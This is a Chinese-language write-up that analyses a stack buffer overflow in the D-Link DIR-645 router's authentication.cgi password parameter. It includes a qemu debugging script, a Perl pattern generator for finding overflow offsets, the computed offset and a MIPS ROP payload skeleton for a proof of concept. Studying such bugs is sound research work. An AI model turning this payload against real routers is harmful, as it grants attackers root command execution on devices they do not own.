D-Link DIR-645路由器溢出漏洞分析
漏洞介绍
D-Link DIR-645在实现上存在命令注入及栈缓冲区溢出漏洞,攻击者可利用这些漏洞任意更改内存,以root权限执行任意shell命令或代码。该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。
固件提取文件系统
固件下载:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
qemu+IDA调试分析
1. run_cgi.sh脚本:
#!/bin/bash
# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
INPUT="$1" # 参数1,uid=A21G&password=1160个A
TEST="$2" # 参数2,uid=A21G
LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
PORT="1234" # 监听的调试端口
# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu # 删除拷贝过来的执行文件
2. 调试目标程序需要匹配正确。(有知道原因的可以跟帖回复,也方便大家览阅)
3. IDA分析,追踪问题函数
4. 填充数据调试
IDA调试参考:
获得&ra在栈上的地址(这是非子叶函数的性质):
F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):
注意:
为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。
程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。
5. 看看a1正常的内容读取:
缩短填充内容的长度,重新调试:
程序走到authenticationcgi_main的返回位置才退出:
如果需要看到更明显的步骤,可以自己找到此处再下个断点
结论:
真实溢出位置就是read()函数引起的。
6. 分析read()函数上下文传入传出数据。
先到read()函数跳转处分析参数的来源
与目的地
:
分析方法:
由于MIPS是流水线执行指令顺序,寻找参数
先到函数跳转处先向下查找参数,然受再向上查找参数。
最终得到read()函数原型:
read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7. 注var_430计算大小方式:
根据栈中变量的顺序去计算
至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充
加上调试观察构造的数据位置
。由于后面的函数都达不到溢出,所以就不附上步骤了。
- 根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。
验证分析:
程序异常退出在此处,分析:
在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:
更改回要求的形式获得结果:
漏洞测试
1. 调试确定偏移
这里分享个更方便的脚本patter.pl脚本
生成构造数据:
#!/usr/bin/perl -w
use strict;
# Generate/Search Pattern (gspattern.pl) v0.2
# scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the me tasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.
my $ustart = 65;
my $uend = 90;
my $lstart = 97;
my $lend = 122;
my $nstart = 0;
my $nend = 9;
my $length ;
my $string = "";
my ($upper, $lower, $num);
my $searchflag = 0;
my $searchstring;
sub credits(){
print "\nGenerate/Search Pattern \n";
print "scripted by Wasim Halani (washal)\n";
print "https://securitythoughts.wordpress.com/\n";
print "Version 0.2\n\n";
}
sub usage(){
credits();
print " Usage: \n";
print " gspattern.pl \n";
print " Will generate a string of given length. \n";
print "\n";
print " gspattern.pl \n";
print " Will generate a string of given length,\n";
print " and display the offsets of pattern found.\n";
}
sub generate(){
credits();
$length = $ARGV[0];
#print "Generating string for length : " .$length . "\n";
if(length($string) == $length){
finish();
}
#looping for the uppercase
for($upper = $ustart; $upper <= $uend;$upper++){
$string =$string.chr($upper);
if(length($string) == $length){
finish();
}
#looping for the lowercase
for($lower = $lstart; $lower <= $lend;$lower++){
$string =$string.chr($lower);
if(length($string) == $length){
finish();
}
#looping for the numeral
for($num = $nstart; $num <= $nend;$num++){
$string = $string.$num;
if(length($string) == $length){
finish();
}
$string = $string.chr($upper);
if(length($string) == $length){
finish();
}
if($num != $nend){
$string = $string.chr($lower);
}
if(length($string) == $length){
finish();
}
}
}
}
}
sub search(){
my $offset = index($string,$searchstring);
if($offset == -1){
print "Pattern '".$searchstring."' not found\n";
exit(1);
}
else{
print "Pattern '".$searchstring."' found at offset(s) : ";
}
my $count = $offset;
print $count." ";
while($length){
$offset = index($string,$searchstring,$offset+1);
if($offset == -1){
print "\n";
exit(1);
}
print $offset ." ";
$count = $count + $offset;
}
print "\n";
exit(1);
}
sub finish(){
print "String is : \n".$string ."\n\n";
if($searchflag){
search();
}
exit(1);
}
if(!$ARGV[0]){
usage();
#print "Going into usage..";
}
elsif ($ARGV[1]){
$searchflag = 1;
$searchstring = $ARGV[1];
generate();
#print "Going into pattern search...";
}
else {
generate();
#print "Going into string generation...";
}
以下是用法
2. patter.pl脚本使用方法
有两种操作模式:1) 只提供一个参数,即要生成的字符串的长度( ./ gspattern.pl [length of string] )2) 字符串的长度和要找到偏移量的模式提供(./ gspattern.pl [字符串长度] [搜索模式])
注(搜索模式):
获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)
3. 生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下):
./pattern.pl 1160 > test_auth
调试确定需要的偏移位置值:
sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"
将0x38684237 转成对应ASCII码:8hB7
4. 构造ROP参考:家用路由器漏洞挖掘实例分析
5. 构造POC
# 构造payload
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddNops(1011) # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01
payload.AddAddress(target[v][0], base=libc) # $s0
payload.AddNops(4) # $s1
payload.AddNops(4) # $s2
payload.AddNops(4) # $s3
payload.AddNops(4) # $s4
payload.AddAddress(target[v][2], base=libc) # $s5
payload.AddNops(4) # unused($s6)
payload.AddNops(4) # unused($s7)
payload.AddNops(4) # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。
payload.AddAddress(target[v][1], base=libc) # $ra
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.Add(cmd) # shellcode
qemu开启仿真环境
1. 打开qemu系统
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
2. 利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。
3. 开始仿真环境前准备
挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:
mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc/chroot ./squashfs-root/ sh
然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:
然后根据报错提示去修复
当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。
最新评论